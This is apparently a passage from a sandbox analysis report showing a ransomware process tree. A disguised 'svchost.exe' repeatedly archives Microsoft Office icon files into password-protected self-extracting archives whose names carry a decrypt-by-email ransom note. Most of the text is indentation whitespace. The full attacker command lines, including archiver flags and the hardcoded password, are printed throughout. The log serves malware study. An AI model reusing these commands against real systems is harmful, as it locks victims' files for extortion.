                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Delete.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Delete.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Delete.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Delete.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\HintBarEllipses.16.GrayF.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\HintBarEllipses.16.GrayF.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\HintBarEllipses.16.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\HintBarEllipses.16.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewComment.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewComment.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewComment.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewComment.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewCommentRTL.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewCommentRTL.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewCommentRTL.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\NewCommentRTL.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
